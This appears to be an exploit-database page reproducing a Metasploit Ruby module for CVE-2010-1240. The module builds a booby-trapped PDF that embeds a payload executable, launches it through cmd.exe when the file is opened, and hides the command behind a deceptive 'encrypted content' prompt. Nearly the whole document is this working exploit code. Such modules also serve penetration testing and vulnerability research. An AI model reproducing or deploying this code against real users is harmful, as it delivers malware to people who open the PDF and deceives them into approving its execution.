Adobe PDF – Embedded EXE Social Engineering (Metasploit)

  • 作者: Metasploit
    日期: 2010-12-16
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16671/
  • ##
    # $Id: adobe_pdf_embedded_exe.rb 11353 2010-12-16 20:11:01Z egypt $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = ExcellentRanking
    
    	include Msf::Exploit::PDF_Parse
    	include Msf::Exploit::FILEFORMAT
    	include Msf::Exploit::EXE
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name'		=> 'Adobe PDF Embedded EXE Social Engineering',
    			'Description' 	=> %q{
    					This module embeds a Metasploit payload into an existing PDF file. The
    				resulting PDF can be sent to a target as part of a social engineering attack.
    			},
    			'License'	=> MSF_LICENSE,
    			'Author'	=>
    				[
    					'Colin Ames <amesc[at]attackresearch.com>', # initial module
    					'jduck' # add Documents for vista/win7
    				],
    			'Version'=> '$Revision: 11353 $',
    			'References' =>
    				[
    					[ 'CVE', '2010-1240' ],
    					[ 'OSVDB', '63667' ],
    					[ 'URL', 'http://blog.didierstevens.com/2010/04/06/update-escape-from-pdf/' ],
    					[ 'URL', 'http://blog.didierstevens.com/2010/03/31/escape-from-foxit-reader/' ],
    					[ 'URL', 'http://blog.didierstevens.com/2010/03/29/escape-from-pdf/' ]
    				],
    			'Payload'	=>
    				{
    					'Space'			=> 2048,
    					'DisableNops'		=> true,
    					'StackAdjustment'	=> -3500,
    				},
    			'Platform'	=> 'win',
    			'Targets'	=>
    				[
    					[ 'Adobe Reader v8.x, v9.x (Windows XP SP3 English)', { 'Ret' => '' } ]
    				],
    			'DefaultTarget'	=> 0))
    
    		register_options(
    			[
    				OptString.new('INFILENAME', [ true, 'The Input PDF filename.']),
    				OptString.new('EXENAME', [ false, 'The Name of payload exe.']),
    				OptString.new('FILENAME', [ false, 'The output filename.', 'evil.pdf']),
    				OptString.new('LAUNCH_MESSAGE', [ false, 'The message to display in the File: area',
    					"To view the encrypted content please tick the \"Do not show this message again\" box and press Open."]),
    			], self.class)
    	end
    
    	def exploit
    
    		file_name = datastore['INFILENAME']
    		exe_name = datastore['EXENAME']
    
    		print_status("Reading in '#{file_name}'...")
    		stream = read_pdf()
    		print_status("Parsing '#{file_name}'...")
    		pdf_objects = parse_pdf(stream)
    		print_status("Parsing Successful.")
    		xref_trailers 	= pdf_objects[0]
    		trailers	= pdf_objects[1]
    		startxrefs	= pdf_objects[2]
    		root_obj	= pdf_objects[3]
    
    		output = basic_social_engineering_exploit(xref_trailers,root_obj,stream,trailers,file_name,exe_name,startxrefs.last)
    
    		print_status("Creating '#{datastore['FILENAME']}' file...")
    		file_create(output)
    	end
    
    
    	def ef_payload(pdf_name,payload_exe,obj_num)
    
    		if !(payload_exe and payload_exe.length > 0)
    			print_status("Using '#{datastore['PAYLOAD']}' as payload...")
    
    			payload_exe = generate_payload_exe
    			file_size = payload_exe.length
    			stream = Rex::Text.zlib_deflate(payload_exe)
    			md5 = Rex::Text.md5(stream)
    
    		else
    			print_status("Using '#{datastore['EXENAME']}' as payload...")
    
    			file_size = File.size(payload_exe)
    			stream = Rex::Text.zlib_deflate(IO.read(payload_exe))
    			md5 = Rex::Text.md5(File.read(payload_exe))
    
    		end
    
    		output = String.new()
    
    		output << "#{obj_num.to_i + 1} 0 obj\r<</UF(#{pdf_name}.pdf)/F(#{pdf_name}.pdf)/EF<</F #{obj_num.to_i + 2} 0 R>>/Desc(#{pdf_name})/Type/Filespec>>\rendobj\r"
    		output << "#{obj_num.to_i + 2} 0 obj\r<</Subtype/application#2Fpdf/Length #{stream.length + 3}/Filter/FlateDecode/DL #{file_size}/Params<</Size #{file_size}/CheckSum<#{md5.upcase}>>>>>stream\r#{stream}\r\nendstream\rendobj\r"
    
    
    		return output
    	end
    
    	def js_payload(pdf_name,obj_num)
    
    		output = String.new()
    		output << "#{obj_num.to_i + 3} 0 obj\r<</S/JavaScript/JS(this.exportDataObject({ cName: \"#{pdf_name}\", nLaunch: 0 });)/Type/Action>>\rendobj\r"
    		output << "#{obj_num.to_i + 4} 0 obj\r<</S/Launch/Type/Action/Win<</F(cmd.exe)/D(c:\\\\windows\\\\system32)/P(/Q /C "
    
    		# change to the home drive/path no matter what
    		output << "%HOMEDRIVE%&cd %HOMEPATH%"
    
    		# check for the pdf in these dirs, in this order..
    		dirs = [ "Desktop", "My Documents", "Documents" ]
    		dirs.each { |dir|
    			fmt = "&"+
    				"("+
    					"if exist \"%s\" "+
    						"(cd \"%s\")"+
    				")"
    			fname = "%s\\\\#{pdf_name}.pdf" % dir
    			output << fmt % [fname, dir]
    		}
    		launch_message = datastore['LAUNCH_MESSAGE']
    		lines = []
    		launch_message.gsub(/.{1,80}(?:\s|\Z)/) { lines << $& }
    		if (lines.length > 2)
    			print_status("Warning: the LAUNCH_MESSAGE is more than 2 lines. It may not display correctly.")
    		end
    
    		output << "&"+
    			# note: the following doesn't work with spaces, and adding quotes doesn't execute the payload :-/
    			"(start #{pdf_name}.pdf)"+
    			# note: The below message modifies the text in the "File:" textfield of the "Launch File" dialog
    			("\n"*10) +
    			launch_message+
    			# note: this extra rparen is required.
    			")"+
    			">>>>\rendobj\r"
    
    		return output
    
    	end
    
    
    	def basic_social_engineering_exploit(xref_trailers,root_obj,stream,trailers,file_name,exe_name,startxref)
    
    		file_name = file_name.split(/\//).pop.to_s
    
    		match = file_name.match(/(.+)\.pdf/)
    		if match
    			pdf_name = match[1]
    		end
    
    		catalog = parse_object(xref_trailers,root_obj,stream)
    
    
    		match = catalog.match(/Names (\d+ \d) R/m)
    		if match
    
    			names = parse_object(xref_trailers,match[1],stream)
    			match = names.match(/EmbeddedFiles (\d+ \d) R/m)
    			if match
    				embedded_files = parse_object(xref_trailers,match[1],stream)
    				new_embedded_files = embedded_files.gsub(/(\]>>)/m,"(\xfe\xff#{Rex::Text.to_unicode(pdf_name,"utf-16be")})#{trailers[0].fetch("Size")} 0 R" + '\1')
    			else
    				new_names = names.gsub(/(>>.*)/m,"/EmbeddedFiles #{trailers[0].fetch("Size")} 0 R" + '\1')
    			end
    
    		else
    			new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/Names #{trailers[0].fetch("Size")} 0 R")
    		end
    
    		if catalog.match(/OpenAction/m)
    
    			match = catalog.match(/OpenAction (\d+ \d) R/m)
    			if match
    				open_action = "#{match[1]} R"
    
    				if new_catalog
    					if new_embedded_files
    						new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
    					elsif new_names
    						new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
    					else
    						new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
    					end
    				else
    					if new_embedded_files
    						new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
    					elsif new_names
    						new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
    					else
    						new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
    					end
    
    				end
    			else
    				if new_catalog
    					new_catalog = new_catalog.gsub(/OpenAction ?\[.+\]/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
    				else
    					new_catalog = catalog.gsub(/OpenAction ?\[.+\]/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
    				end
    			end
    		else
    			if new_catalog
    				if new_embedded_files
    					new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
    				elsif new_names
    					new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
    				else
    					new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
    				end
    
    			else
    				if new_embedded_files
    					new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
    				elsif new_names
    					new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
    				else
    					new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
    				end
    			end
    		end
    
    
    
    		pages_obj = catalog.match(/Pages (\d+ \d) R/m)[1]
    		pages = parse_object(xref_trailers,pages_obj,stream)
    
    		page_obj = pages.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)[1]
    		page = parse_object(xref_trailers,page_obj,stream)
    
    		match = page.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)
    		while match
    
    			page_obj = match[1]
    			page = parse_object(xref_trailers,page_obj,stream)
    			match = page.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)
    		end
    
    		match = page.match(/AA<<\/O (\d+ \d) R/m)
    		if match
    			aa = parse_object(xref_trailers,match[1],stream)
    		end
    
    
    		new_pdf = String.new()
    		xrefs = String.new()
    
    
    		if new_embedded_files
    			pdf_payload = String.new()
    			num = trailers[0].fetch("Size").to_i - 1
    			pdf_payload << ef_payload(pdf_name,exe_name,num)
    			pdf_payload << js_payload(pdf_name,num)
    			new_pdf << stream << pdf_payload
    
    			xrefs = xref_create(new_pdf,stream.length,"*")
    
    			new_size = trailers[0].fetch("Size").to_i + 4
    
    			if aa
    				new_page = page.gsub(/(AA<<\/O )\d+ \d R(.*)/m,'\1' + "#{trailers[0].fetch("Size").to_i + 3} 0" + '\2')
    			else
    				new_page = page.gsub(/(>> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 3} 0 R>>" + '\1')
    			end
    
    			new_pdf << new_catalog
    			xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1")
    
    			new_pdf << new_page
    			xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1")
    
    			new_pdf << new_embedded_files
    			xrefs << xref_create(new_pdf,(new_pdf.length - new_embedded_files.length), "1")
    
    			if trailers[0].has_key?("ID")
    				new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R/ID#{trailers[0].fetch("ID")}>>\r\n"
    			else
    				new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R>>\r\n"
    			end
    
    			new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_embedded_files.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"
    
    		elsif new_names
    			pdf_payload = String.new()
    			num = trailers[0].fetch("Size").to_i
    			pdf_payload << "#{num} 0 obj\r<</Names[(\xfe\xff#{Rex::Text.to_unicode(pdf_name,"utf-16be")})#{num + 1} 0 R]>>\rendobj\r"
    			pdf_payload << ef_payload(pdf_name,exe_name,num)
    			pdf_payload << js_payload(pdf_name,num)
    			new_pdf << stream << pdf_payload
    
    			xrefs = xref_create(new_pdf,stream.length,"*")
    
    			new_size = trailers[0].fetch("Size").to_i + 5
    
    			if aa
    				new_page = page.gsub(/(AA<<\/O )\d+ \d(.*)/m,'\1' + "#{trailers[0].fetch("Size").to_i + 4} 0" + '\2')
    			else
    				new_page = page.gsub(/(>> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 4} 0 R>>" + '\1')
    			end
    
    			new_pdf << new_catalog
    			xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1")
    
    			new_pdf << new_page
    			xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1")
    
    			new_pdf << new_names
    			xrefs << xref_create(new_pdf,(new_pdf.length - new_names.length), "1")
    
    			if trailers[0].has_key?("ID")
    				new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R/ID#{trailers[0].fetch("ID")}>>\r\n"
    			else
    				new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R>>\r\n"
    			end
    
    			new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_names.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"
    
    
    		else
    			pdf_payload = String.new()
    			num = trailers[0].fetch("Size").to_i + 1
    			pdf_payload << "#{trailers[0].fetch("Size")} 0 obj\r<</EmbeddedFiles #{num} 0 R>>\rendobj\r"
    			pdf_payload << "#{num} 0 obj\r<</Names[(#{pdf_name})#{num + 1} 0 R]>>\rendobj\r"
    			pdf_payload << ef_payload(pdf_name,exe_name,num)
    			pdf_payload << js_payload(pdf_name,num)
    			new_pdf << stream << pdf_payload
    			xrefs = xref_create(new_pdf,stream.length,"*")
    
    			new_size = trailers[0].fetch("Size").to_i + 6
    
    			if aa
    				new_page = page.gsub(/(AA<<\/O )\d+ \d(.*)/m,'\1' + "#{trailers[0].fetch("Size").to_i + 5} 0" + '\2')
    			else
    				new_page = page.gsub(/(>> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 5} 0 R>>" + '\1')
    			end
    
    			new_pdf << new_catalog
    			xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1")
    
    			new_pdf << new_page
    			xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1")
    
    			if trailers[0].has_key?("ID")
    				new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R/ID#{trailers[0].fetch("ID")}>>\r\n"
    			else
    				new_pdf << "xref\r\n" << xrefs
    				new_pdf << "trailer\r\n"
    				new_pdf << "<</Size #{new_size}/Prev #{startxref}"
    				new_pdf << "/Root #{trailers[0].fetch("Root")} R"
    				new_pdf << "/Info #{trailers[0].fetch("Info")} R>>\r\n"
    			end
    
    			new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"
    
    
    		end
    
    
    		return new_pdf
    	end
    end